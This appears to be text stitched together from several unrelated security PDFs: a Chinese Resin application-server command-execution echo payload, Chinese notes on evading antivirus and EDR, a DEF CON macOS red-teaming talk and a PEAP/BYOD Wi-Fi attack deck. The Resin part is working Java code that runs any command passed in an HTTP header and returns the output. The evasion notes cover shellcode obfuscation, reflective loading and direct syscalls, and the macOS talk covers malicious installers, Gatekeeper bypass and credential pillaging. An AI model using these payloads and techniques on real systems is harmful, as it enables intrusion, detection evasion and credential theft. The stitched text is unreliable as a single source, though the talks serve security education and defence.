AbstractHttpRequest中获取。 运行时截图 回显思路 反射调用ServletInvocation.getContextRequest()获取HttpRequest对象 从父类AbstractHttpRequest中获取_response字段(response对象) 通过反射调用reponse对象的getWriter方法获取PrintWriter对象 通过PrintWriter对象的write方法写入需回显内容 contextRequest.getClass().getSuperclass() -> com.caucho.server.connection.AbstractHttpRequest 代码实现 Resin 3.x & 4.x 多版本适配、已测试 3.1.16、4.0.65 基于 ServletInvocation 细节参考以上 代码实现 // 获取ServletInvocation Class对象,反射调用getContextRequest方法获取ServletRequest对 象 Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.disp atch.ServletInvocation").getMethod("getContextRequest").invoke(null); // 从父类AbstractHttpRequest中获取response对象 Field _responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response"); _responseF.setAccessible(true); Object response = _responseF.get(currentRequest); // 获取getWriter方法 Method getWriterM = response.getClass().getMethod("getWriter"); // 调用getWriter获取Writer对象 Writer writer = (Writer)getWriterM.invoke(response); // 获取getHeader方法 Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); // 调用getHeader获取到通过需执行的命令:cmd String cmd = (String)getHeaderM.invoke(currentRequest, "cmd"); // 执行命令 Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A"); // 写入命令执行结果并回显 writer.write(scanner.hasNext() ? scanner.next() : ""); Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.disp atch.ServletInvocation").getMethod("getContextRequest").invoke(null); Field _responseF; if(currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequ est")){    // 3.x 需要从父类中获取    _responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response"); }else{    _responseF = currentRequest.getClass().getDeclaredField("_response"); } _responseF.setAccessible(true); Object response = _responseF.get(currentRequest); Method getWriterM = response.getClass().getMethod("getWriter"); Writer writer = (Writer)getWriterM.invoke(response); Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); 使用方法 测试效果 更多细节见Resin ps: 都是抄师傅们的作业 @potats0、@藏青 String cmd = (String)getHeaderM.invoke(contextRequest, "cmd"); Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A"); writer.write(scanner.hasNext() ? scanner.next() : ""); cmd: whoami
pdf
A.B.U技术漫谈笔记 pdf版没有索引图,这里我贴上,更直观点。 ABU东西很多,远不止此,期待其他师傅们的分享。同时 师傅们如果有挖掘LOLbins的思路麻烦分享下。 一.介绍 参考: RedCore A.B.U视频教程 # A.B.U 意义: A.B 活下来,U 活下去(反监控,反溯源,反日志,反取证) 活多久的问题 # A.B.U 目的: 反查杀 二.分类 1. 范式A.B.U 1.1静态A.B.U 1.1.1 文件A.B.U 磁盘文件 (1)加密解密项目推荐 C/C++ WjCryptLib库 MD4,AES等 一个.c文件对应一个.h文件 https://github.com/WaterJuice/WjCryptLib Cipher https://github.com/mygityf/cipher Donut 强烈推荐 读懂源码=受益匪浅 https://github.com/TheWover/donut (2)加密解密项目推荐 C# NETCore.Encrypt https://github.com/myloveCc/NETCore.Encrypt Bing.Encryption https://github.com/bing-framework/Bing.Encryption EasyNet https://github.com/TheWover/EasyNet StreamCryptor # A Anti   ############## # Anti 反,对抗。 (主动式对抗) 挑衅,对挑衅的对象造成"伤害" unhook # ############## # B Bypass   ############## # Bypass (被动式绕过) 加解密,编码,混淆 # ############## # U UnDetection   ############## # UnDetection (伪装自己)   掩人耳目,隐匿行踪 # ############## # 通用方式,对大部分AV,EDR都有一定效果,但是针对某几个AV,EDR效果差 1. source code 修改源码特征等 (c/c++, c# ros 动态语法分析 自动化打乱) 2. binary 强加密方式 A.B.U   随机密钥: windows自带的   CryptAPI https://github.com/bitbeans/StreamCryptor 1.1.2 内存A.B.U 内存映像 (1) Native Dll/Exe Native PE文件 (内存特征码扫描) (2) 自解密技术 # 静态内存A.B.U 文件始终要运行的,解密还原之后就原形必露了。 1. 加花(junk code) 混淆 obfascation     C/C++ assembly 能力   jmp @F         // jmp跳转指令   db junkcode   // junk code 花指令更绚烂   @@ 2. obfascation 混淆   一般针对AV,还有一种针对反汇编,逆向而存在的   一旦你的样本落到了样本分析人员基本就game over.   关键位置混淆   1.病毒的自解密 2.内存页的属性要求 RWX 高风险 3.CPU空闲多,某个进程内存操作时会扫描一下刚才拷贝内存的数据 关键API函数 VirtualAlloc VirtualProtect CopyMemmory (3) 项目推荐 pescrambler https://github.com/CoolOppo/pescrambler nullsecuritynet/tools https://github.com/nullsecuritynet/tools hyperion https://github.com/hyperion-project/hyperion @@@ 汇编器 Tasm Masm Nasm Fasm @@@Nasm shellcode生成 @@@ windows系统推荐 Masm (4) .Net assembly /PE 中间语言IL Code===》CLR 运行环境 MSIL 可进行强混淆 强加密(去除特征效果很好) 特性 .dll /.exe 混淆本身不是为了静态免杀,而是为了反调试 逆向 (5) 项目推荐 (强混淆 强加密(去除特征效果很好)) ConfuserEx (该项目已封存,衍生开发也不错) https://github.com/yck1509/ConfuserEx ConfuserEx2 mkaring https://github.com/mkaring/ConfuserEx/releases obfuscar https://github.com/obfuscar/obfuscar koivm https://github.com/Loksie/KoiVM-Virtualization .NET-Obfuscator (列表) https://github.com/NotPrab/.NET-Obfuscator 1.1.3 网络A.B.U 网络传输 (1)混淆解密 1. 添加一个Section段 VC   添加段操作   段名,属性         #execute,shared #pragma 操控编译器 #pragma section("notmalicious",read,write) __declspec(allocate("notmalicious")) char shellcode[]=“<encrypted data>”; 4. Section Hijacking   自实现 PE Loader 段加载,加解密 5. shellcode     C2 纯shellcode 分段加密,混淆 N个段 jmp结合花指令对shellcode免杀   PE2 shellcode 在内存中是PE文件,寻址问题 (2)通讯包的定制 Malleable C2 profile (3)项目推荐 HTTP(S) 强加密强混淆 Malleable C2 profile https://github.com/search?q=Malleable+C2+profile RSA-Library https://github.com/andrewkiluk/RSA-Library RSAEuro https://github.com/mort666/RSAEuro RSA-Csharp https://github.com/xiangyuecn/RSA-csharp RSAExtensions https://github.com/stulzq/RSAExtensions RSAUtil signature 签名防篡改 https://github.com/stulzq/RSAUtil 1.2动态A.B.U # Exildata   C2 牵扯到网络 # C2 通讯协议: HTTP(S)   DNS ICMP UDP # HTTPS 网络静态A.B.U 核心数据(对称和非对称加密) 对称:AES   3DES   (密钥交换) 密钥被拿走了,就容易被破解 非对称:RSA C (Beacon)   -- S     private key 一对RSA public key 传输 私钥在S端,这个解密就非常困难了 通讯包的定制 (CS 里面的 Malleable C2 Profile)   静态A.B.U 对边界的防火墙,入侵检测效果很好 C2 良好的涉及 C2(生存能力优秀) ===》 实时更换Profile的能力 foothold initial access ==> 第一次选择profile 公共的 套用profile                             公司内网 web profile 假设可以回来,然后横向 ==> web server 假设proxy, 重新编写新的profile,由pc 先经过web server 【Redteam Infrastructure】 多个profile 与 多个 TS 之间动态随机转换 每一次下发任务,随机选择profile 【实时更新 profile pool】 【一次task 使用不同的profile (涉及到更复杂的算法)】 # 东西很多,加载说起 ''' 加载 执行 开始 1. windows的红队研发 怎么触发 LOLBins (Living off the land) 就地取材 lolbas github (1) PE Loader项目推荐 MemoryModule https://github.com/fancycode/MemoryModule mmLoader https://github.com/tishion/mmLoader MemoryModulePP Support exception https://github.com/strivexjun/MemoryModulePP (2) RDI项目推荐 reflectivedllinjection https://github.com/stephenfewer/ReflectiveDLLInjection Improvedreflectivedllinjection https://github.com/dismantl/ImprovedReflectiveDLLInjection ReflectiveLdr https://github.com/rokups/ReflectiveLdr (3) .Net Assembly 1. Assembly Load 过AMSI的扫描 2. CLR Hosing(C/C++写的--> CLR Hosing--> .Net Assembly) CS 里面的 execute-assembly https://github.com/LOLBAS-Project/LOLBAS 强烈建议 https://lolbas-project.github.io/   网页版 win ten (让我们头疼) 新增了很多防护机制 amsi, Device Guard, ETW(Event 日志), WhiteLising, Applocker 1.LOLBins 天然的 可以绕过这些安全机制 2. AV -signature 3. EDR ETW 防止被日志记录 也就是 Undetection 接下来就是获取凭据,传文件过去。 In-memory Loading 1. Native PE (1) PE Loader 内存加载技术 (2) RDI   Reflective Dll Injection     RDI 太火了,被针对,特征:dll               bootstrap 引导图---> 导出函数--> func 容易被flag     hunting RDI Dll bootstrap remove掉 PEB加载链   ''' (4) CLR 项目推荐 CppHostCLR https://github.com/AzRunRCE/CppHostCLR Donut (强烈推荐) go-clr rust-clr (5) System Call Directly ''' C 端   core   使用Native   Native dll 核心功能就是跟 TS通讯,判断目标.Net环境,没有CLR; Controller可以采用静默安装,Native Dll也可以提供基本功能cmd,文件浏览等 C 端 load CLR;   CLR Hosting 加载 .Net Assembly   core dll .Net Framework 1.0 接口 ICorRuntimeHost               2.0       ICLRuntimeHost               4.0       ICLRmetaHost   CLRCreateInstance               Donut判断 4.0 不需要初始化COM组件 每一个执行接口对应的API都不一样 CoInitializeEx ''' ''' 直接系统调用 https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system- calls-and-srdi-to-bypass-av-edr/ https://www.cnblogs.com/macanpsc/p/11670257.html   翻译文章 https://outflank.nl/blog/2019/10/20/red-team-tactics-active-directory-recon- using-adsi-and-reflective-dlls/ ''' system calls 系统调用 user mode / kernel mode 内核态所有驱动共享一块内存区域,内核态编程需谨慎。 virtual address space  虚拟空间  逻辑上被隔离 【IDA】 web浏览器解决小问题 2. 定向A.B.U 2.1静态A.B.U 2.2动态A.B.U # InterlockedXorRelease XOR异或API, 通常异或运算符是危险行为 (请忽略) https://defuse.ca/online-x86-assembler.htm http://shell-storm.org/online/Online-Assembler-and-Disassembler/ # syscalls 系统调用 https://j00ru.vexillium.org/syscalls/nt/64/ https://github.com/j00ru/windows-syscalls     # syscall C# 实现 https://jhalon.github.io/utilizing-syscalls-in-csharp-1/ https://jhalon.github.io/utilizing-syscalls-in-csharp-2/ 推荐几个优秀网站: https://outflank.nl/ https://jhalon.github.io/ http://pinvoke.net/ 在线编写代码; https://ideone.com/ https://tio.run/#     多种语言 # 针对某个或者某几个AV,EDR,涉及到此产品的细节原理,需要逆向
pdf
Gone Apple Pickin’: Red Teaming macOS Environments in 2021 Cedric Owens DEF CON 29 BIO •Offensive Security Engineer •Blue Team Experience • macOS post exploitation •Enjoy 80s/90s Nostalgia • @cedowens AGENDA • Why Do We Care about macOS? • Overviews Of Common Tech Environments • macOS Payloads & Post Exploitation • Other Attack Vectors • Detection Opportunities IT’S MACOS –WHY DO WE CARE? • Most companies are still Windows shops • SF Bay Area Tech Companies - opposite • Not as much Windows • macOS, Linux, other (Chromebooks), cloud • Interesting environments to assess IT’S MACOS –WHY DO WE CARE? • Is a slowly growing trend • Different animal from Windows, but still lots to poke at/try • Lots of damage can be done without compromising AD COMMON TECH STACKS 10,000 FT VIEW App Servers 80% 15% 5% Access restricted by VPN, VPC, ldap groups, etc. Access tokens/keys stored on corp laptops Prod Env Corp Env App Servers Some On Prem COMMON MACOS DEPLOYMENTS • Common management methods: • Custom – big money grip! • Managed with JAMF Pro – Pretty Common • Admin server • Infra Manager • Agent • Kandji – up and coming • Calum Hall/Luke Roberts BH ‘21 Talk on Abusing Remote Management COMMON JAMF DEPLOYMENT JAMF Admin Server (find by: $jamf checkJSSConnection) JAMF Agent JAMF Self Service REMOTE MANAGEMENT JAMF Management Server Jamf admin account with ssh to managed devices If remote management used, is there a static password being used? If enabled, ssh by default has full disk access! REMOTE MANAGEMENT JAMF Management Server Compromised JAMF admin creds JAMF Admin creds $jamf checkJSSConnection Push malicious policies/scripts Managed macOS Fleet A FEW VARIATIONS IN JAMF DEPLOYMENTS EX 1: MACOS BOUND TO AD JAMF agent on macOS fleet Bound to AD $ dscl “/Active Directory/[Domain]/All Domains” ls / $ ldapsearch -h [AD_srvr] -p 389 -x -D "uid=[usrname],ou=[OU],dc=[domain],dc=com" -b "dc=domain,dc=com" -W Tools like Machound, Bifrost would work $ klist, kcc, etc EX 2: ACCESS VIA NOMAD macOS fleet: not bound to AD Kerberos auth $ defaults read ~/Library/Preferences/menu.nomad.login.ad.plist: ADDomain Pass creds to keychain and automatically auth to NoMAD Local account SSO for network resources No persistent directory svcs connection $ defaults read ~/Library/Preferences/com.[name].NoMAD.plistDef aults read com.[domain].NoMAD $ klist, kcc, etc…Bifrost would work EX 3: SEGREGATED AD ACCESS JAMF agent on macOS fleet Auth to Okta Federated Servers Restricted by VPN $ /Library/Application Support/JAMF $ defaults read /Library/Preferences/com.jamfsoftware.jamf.plist SAME OLD TACTICS? • AD is present…but limited • So much more impact to show than AD • Interesting interconnections in mac and cloud environments • Let’s discuss more! RED TEAM APPROACHES – INITIAL ACCESS IDAAS TARGETING 2FA MIM Phish: Cred Harvest Federated Login Email access File Access Various other okta tiles (salesforce, gapps, Slack, etc.) Initial Foothold Internal Phishing May lead to objectives without even needing to access a host IDAAS PILLAGING • Productivity portals have a ton of interesting content • Creds, VPN profiles, environment info, process info, etc • Exfil Tools by @antman1P (Antonio Piazza): • GD-Thief • GDir-Thief • Conf –Thief • Tools for Slack Pillaging • Slackhound • SlackPirate • A lot of these tokens outlive the IdaaS token! MACOS SECURITY BASICS • Prevention • Gatekeeper • Evaluates certain file types (ex: apps, installers, machos, etc.) • com.apple.quarantine attrib • Checks for signing and notarization • Can Right Click -> Open to open anyway • Detection • XProtect (also part of Gatekeeper) • Malware definitions (yara) & blacklisting • Removal • Malware Removal Tool • Removes malware samples based on intel from Apple MACOS SECURITY BASICS • macOS TCC (Privacy Protections) • Protected: • ~/Desktop • ~/Documents • ~/Downloads • iCloud Drive • etc… • NOT Protected: • ~ dir itself: tons of sensitive stuff here! • ~/.ssh, ~/.aws, etc.: lateral movement potential • /tmp: malware commonly dropped here • @theevilbit and @_r3ggi BH 2021 Talk on Bypassing TCC!! INITIAL ACCESS - MACOS • Example payload options • Mach-o: checked; need a delivery/upload method • Apps: checked; pretty remote friendly • Installer Packages: checked; remote-friendly • Weaponized PDF: checked • Shell Script Trickeration : checked *on patched systems* • JXA: not checked; need a delivery/upload method • Python: not checked (will be removed by default soon); pairs well with office macros • Office macros: not checked; remote-friendly but is sandboxed L • Browser extensions: not checked; additional Google store controls • Applescript: depends on file type used; need a delivery/upload method MacC2 Mystikal macOS payload generator King of macOS C2 INITIAL ACCESS: INSTALLER PACKAGES • Installer Packages • Payload-free (script-only) or Archive to install other packages • pkgroot/scripts/preinstall Script • pkgroot/scripts/postinstall Script • Both require #!/bin/bash at top and exit 0 at the end • Scripts are run as child process of the installer package • Preflight -> preinstall -> preupgrade -> postinstall -> postupgrade -> postflight • Runs elevated (as root!) INITIAL ACCESS: INSTALLER PACKAGES • Checked by Gatekeeper! • Users can right click -> open unsigned apps to execute them, despite Gatekeeper • This is often used by in the wild macOS malware • Victim is social engineered to right click -> open • Payload detonates INITIAL ACCESS: INSTALLER PACKAGE EXAMPLE • Example preinstall script • Example preinstall script with simple hostname check INITIAL ACCESS: INSTALLER PACKAGE EXAMPLE • Example postinstall script INITIAL ACCESS: INSTALLER PACKAGE EXAMPLE • Build and host: • Pkgbuild --identifier com.[id].[id] --nopayload --scripts [path_to_scripts_dir] [name].pkg • Payload detonated • Root access! INITIAL ACCESS: APP PACKAGE EXAMPLE • Bundle: [Name].app/Contents/MacOS/[Name] • Xcode -> New Project -> App -> Language:Swift, User Interface: Storyboard • Design app window (icons, buttons, text, etc.) • Add Info.plist entries for App Transport Security restrictions • Set sandbox settings appropriately • Add code behind button to launch remote mythic jxa payload: INITIAL ACCESS: APP PACKAGE EXAMPLE INITIAL ACCESS: APP PACKAGES • Checked by Gatekeeper! • Example of instructions for right click -> run to bypass Gatekeeper • Example from Shlayer INITIAL ACCESS: MACOS MS OFFICE MACROS • Old but still works! • Bypass mail filters: Simple string concatenation • No Gatekeeper Concerns But Is Sandboxed • Limited disk access • Can still access: • osascript, curl, dscl, screencapture, python, etc. • Adam Chester (@_xpn_): Can drop files if filename starts with “~$” • Sandbox escape by Madhav Bhatt (@desi_jarvis) • Create .zshenv file to execute payload • Zip .zshenv • Drop to user’s home dir • Add as Login Item • On reboot, payload launched when Terminal run INITIAL ACCESS: MACOS MS OFFICE MACROS • MS Office macro generators for macOS: • MacPhish – python, curl, osascript • My Mythic Macro Generator – curl, osascript • My MacC2 Macro Generator – python • AutoOpen() • Concatenate the string “python” and “exec” CVE-2021-30657: MASQUERADING SHELL SCRIPTS • App folder structure: • File.app/ • Contents/ • MacOS/ • macho -> runs this What if we put something else here…something that is NOT checked by Gatekeeper Bash, python CVE-2021-30657: BIG BUG, SMALL BOUNTY PAYMENT • I reported to Apple; fixed in Big Sur 11.3+ and Catalina Update 2021-002 • Apple Security Bounty Website: • Apple defines sensitive data: Contacts, Mail, Messages, Notes, Photos, or location data…very narrow • My malicious app: • User detonates -> remote access -> sensitive data (ssh/aws/gcp/azure keys, files in user’s home dir, etc.) • Very small bounty payment • C’mon Apple… CVE-2021-30657: MASQUERADING SHELL SCRIPTS • Benefits Of This Payload: • Gatekeeper Bypass • App Transport Security Controls do not apply • Will have access to non-TCC folders plus whatever user has given Terminal access to • Victim just needs to download a .dmg and double-click the fake app inside of it • Can be very convincing with icons and filenames • Serves as a stager that can download and run really any payload you want MASQUERADING SHELL SCRIPTS Shell script uses curl to download & run C2 payload (this will not append the quarantine attrib to it) C2 callback Fake.app pkg (really a shell script downloader) Fake.app pkg (really a python payload) Python script executed If writing to disk, write to non-TCC dir C2 callback MACOS: OTHER THINGS TO KNOW • TCC!! • Protects folders like Desktop, Downloads, Documents, etc. • ~ and /tmp not protected • SENSITIVE DIRS LIKE ~.ssh, ~.aws, ~/.config/gcloud/credentials.db, ~/.azure…NOT PROTECTED! • If ssh is running (often is by default in enterprises), you can ssh in locally to get full disk access and bypass TCC • quarantine Attrib • Appended by the OS to files downloaded via browsers • Using curl does not append the attribute • Signing and Notarizing Your Red Team Apps? • My experience: 1 week of time before retroactive action • May not be worth the time and effort when social engineering still works MACOS PILLAGING – LATERAL MOVEMENT & PRIVESC • On system creds (aws, gcp, azure) • Chrome “cookie crimes” (@mangopdf) • ssh keys and known hosts • Can prompt the user for creds • Can search zsh history • Search for interesting files • Visited sites • Chrome Login Data sqlite3 db • History db Stores the username and login url unencrypted and do not need root to read! ~/Library/Application Support/Google/Chrome/Default/Login Data, stats table MACOS PILLAGING – LATERAL MOVEMENT & PRIVESC • If root: can grab keychain db and take offline with chainbreaker • Get access via installer package (which is root) • Gain normal user access and prompt for creds • Use creds to elevate to root and download user’s keychain db (~/Library/Keychains/login.key chain, ~/Library/Keychains/login.keyc hain-db) MACOS PILLAGING – PERSISTENCE • Lots of options other than launch daemons and launch agents • @theevilbit:“Beyond Good Ole’ LaunchAgents” blog • @D00MFist’s PersistentJXA github repo: JXA implementations • My Persistent-Swift github repo: Swift implementations • @xorrior’s Authorization Plugin • Atom init script persistence • SSHrc persistence • Vim plugin persistence • Sublime text app script persistence • Zsh profile persistence OTHER ATTACK VECTORS CI/CD PIPELINE Developer Commits Code Jenkins build Create & push image Push docker image Polls registry CI/CD HOSTS • Path across environments (dev, corp, prod) • Lots of integrations so lots of secrets • Internal git • Did somebody say secrets?? • Jenkins • Common misconfigurations • Workstations • Locally stored keys A LOOK AT JENKINS – UNAUTH BUILD JOBS MISCONFIG • URL: /view/default/newJob • Can create a new build job and add a single build step to ”Execute Shell” • Can then “Save” and “Build Now” and view command results in “Console Output” • Can be used to view creds (local and metadata creds if cloud hosted) • Can query for cloud metadata credentials A LOOK AT JENKINS – UNAUTH SCRIPT CONSOLE MISCONFIG • Can browse to /script page and run groovy script to get host access or see command results OTHER JUICY TARGETS • Internal Wiki • Org info, credentials, system/environment info! • Internal ticketing system • System/environment info, creds? • Slack! • Credentials, keys, VPN profiles, sensitive docs • Exposed unauth Docker API sockets (default port 2375/2376) • Internal Git OTHER JUICY TARGETS • Cloud Hosted Environments • Entry points for obtaining keys • Payload phishing • Code repos • CI/CD hosts & logs • Testing cloud visibility & detections • Accessing secrets • Post exploitation examples • aws secretsmanager or parameter store • Assuming into other roles • Attaching policies to users or roles • Adding a user to a group • Modifying VPC network rules DEFENSIVE RECOMMENDATIONS • Good endpoint detection & response • Leverage Apple Endpoint Security Framework • Command line executions • Susp osascript, rev shell cmds, persistence, etc • Parent child relationships • Network detections: • One to many (spraying, port sweeps), beaconing • IdaaS Abuse (okta, onelogin, etc.) • Jenkins Abuse • Cloud visibility and detection • Common post exploitation and privesc methods • Auditing current IAM roles RESOURCES • My blog on various topics: https://cedowens.medium.com/ • Various blogs by xorrior: https://medium.com/@xorrior • Blog on Malicious AppleScript by Phil Stokes: https://www.sentinelone.com/blog/how-offensive-actors-use- applescript-for-attacking-macos// • Mystikal by D00MFist: https://github.com/D00MFist/Mystikal • PersistentJXA by D00MFist: https://github.com/D00MFist/PersistentJXA • My Persistent-Swift repo: https://github.com/cedowens/Persistent-Swift • Csaba Fitzl security research: https://theevilbit.github.io/posts/ • “An Attacker’s Perspective On JAMF Configurations”: https://objectivebythesea.com/v3/talks/OBTS_v3_cHall_lRoberts.pdf • My SwiftBelt Enumeration Tool: https://github.com/cedowens/SwiftBelt • Madhav Bhatt’s MS Office Sandbox Escape: https://desi-jarvis.medium.com/office365-macos-sandbox-escape- fcce4fa4123c • My MacShellSwift Post Exp Tool: https://github.com/cedowens/MacShellSwift • Antonio Piazza blogs on thief tool sets: https://antman1p-30185.medium.com/ RESOURCES • Machound blog post: https://www.xmcyber.com/introducing-machound-a-solution-to- macos-active-directory-based-attacks/ • Bifrost Blog post by Cody Thomas: https://posts.specterops.io/when-kirbi-walks-the-bifrost- 4c727807744f • Blog post by Howard Oakley: https://eclecticlight.co/2020/01/27/what-could-possibly-go- wrong-on-an-app-first-run/ • Adam Chester’s blog on macOS Sandbox Escape: https://blog.xpnsec.com/escaping-the- sandbox-microsoft-office-on-macos/ • Info on recent Shlayer campaign: https://www.intego.com/mac-security-blog/new-mac- malware-reveals-google-searches-can-be-unsafe/ • https://github.com/xorrior/macOSTools • Mangopdf’s Cookie Crimes blog: https://github.com/defaultnamehere/cookie_crimes THANK YOU!
pdf
The BYOD PEAP Show Mobile Devices Bare Auth Josh Yavor iSEC Partners DEF CON XXI August , Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome A Perfect Storm 1 1noaa.gov Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome PEAP: Pwned Extensible Authentication Protocol Joshua Wright & Brad Antoniewicz - ShmooCon “It’s amazing to me that lots of people seemed to have missed thisissueinPEAPandotherEAPmethods, asit’sstillextremely useful in most of the pen-tests I engage in.” – Joshua Wright, May 1 Windows and OS X FreeRADIUS-WPE “PEAP and TTLS can be secure when deployed carefully” 1http://www.willhackforsushi.com/?page_id=37 Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Bring Your Own Device All the cool kids are doing it Growth %-% of companies “Bring Your Own Definition” EAP Types Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome CloudCracker Moxie Marlinspike, David Hulton, Marsh Ray - DEF CON XX “Enterprises who are depending on the mutual authentication properties of MS-CHAPv for connection to their WPA Radius serversshouldimmediatelystartmigratingtosomethingelse.” – Moxie Marlinspike, July , 2 Divide and conquer = % in hours 2https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/ Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Take Aways Spoiler Alert Real-world deployments are messy PEAP is unsafe for BYOD environments Impact is enormous Immediate corrective action required No easy fix Users are in control Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Bottom Line Defense Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Bottom Line Offense Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Some Disagree “In a properly implemented wireless network, this MS-CHAPv exploit is a non-issue. There is no need for Wi-Fi network ad- ministrators to abandon PEAP. Period.”3 3revolutionwifi.blogspot.com///is-wpa-security-broken-due-to-defcon.html Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Risk Characteristics Lower Risk Individual users (depends) Smaller organizations Static user base Higher Risk Internal network assets Larger organizations Transient user base Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Misconfiguration is Everywhere Be cruel to your school Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome For Mobile Devices Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Even for Windows Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Prerequisite Knowledge PEAP Why is PEAP so popular? EAP Type Support iOS Android Windows Phone BlackBerry PEAP Yes Yes Yes Yes EAP-TLS Yes Yes No Yes EAP-TTLS Yes Yes No Yes EAP-FAST Yes No No Yes Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Prerequisite Knowledge Wireless Authentication Comparison Access Control Granularity Open WPA WPA Ent. None Group of users who know password Individual user accounts wifi? ok! getyourownwifi evalDoer / p Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Prerequisite Knowledge Wireless Authentication Comparison Response to Credential Compromise Open WPA WPA Ent. N/A Change password, update all devices Modify single user account wifi? ok! getyourownwifi Error: User account locked Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / WPA Ent. & .X PEAP Association to AP .thisOneGoesTo Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / WPA Ent. & .X PEAP Outer Authentication Thanks to Brad & Joshua Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / WPA Ent. & .X PEAP Inner Authentication with MSCHAPv Thanks to Moxie Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Mobile Platforms 2 2ocio.osu.edu Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Android Android Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Android Android EAP Types Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Android Android PEAP Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Android Android CA Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Android Android Inner Authentication Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms iOS iOS 3 3apple.com Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms iOS iOS PEAP Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms iOS iOS CA Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms iOS iOS Cert Details Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms BlackBerry BlackBerry Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms BlackBerry BlackBerry EAP Types Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms BlackBerry BlackBerry PEAP Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms BlackBerry BlackBerry CA Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Windows Phone Windows Phone 4 4microsoft.com Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Windows Phone Windows Phone PEAP Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Windows Phone Windows Phone CA Configuration Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Mobile Platforms Windows Phone Windows Phone Cert Details Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP Methodology Single Network Traditional attack Story time: - users, shared building > , users, campus Extra credit Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP Methodology Multiple Networks Curated Lists Geographical, industry, other? Story time: Industry Geographical Extra credit Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP Methodology All The Devices Everything (almost) Challenges Story time Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP It’s Tool Time! Pwning Single target Multiple targets Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP It’s Tool Time! Existing Tools FreeRADIUS-WPE hostapd & hostapd-wpe DD-WRT & OpenWrt Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP It’s Tool Time! The Goal Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP It’s Tool Time! What’s Next? *WRT scripts *WRT integration hostapd-python-script5 5github.com/nims/hostapd-python-script Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Attacking PEAP It’s Tool Time! Getting Fancy Dynamic target selection GPS (wigle.net?) Single tool Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Solutions How do we fix this? Hide yo’ kids, hide yo’ WiFi Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Solutions How do we fix this? EAP-TLS Better Mobile Device Management Josh Yavor (iSEC Partners) The BYOD PEAP Show 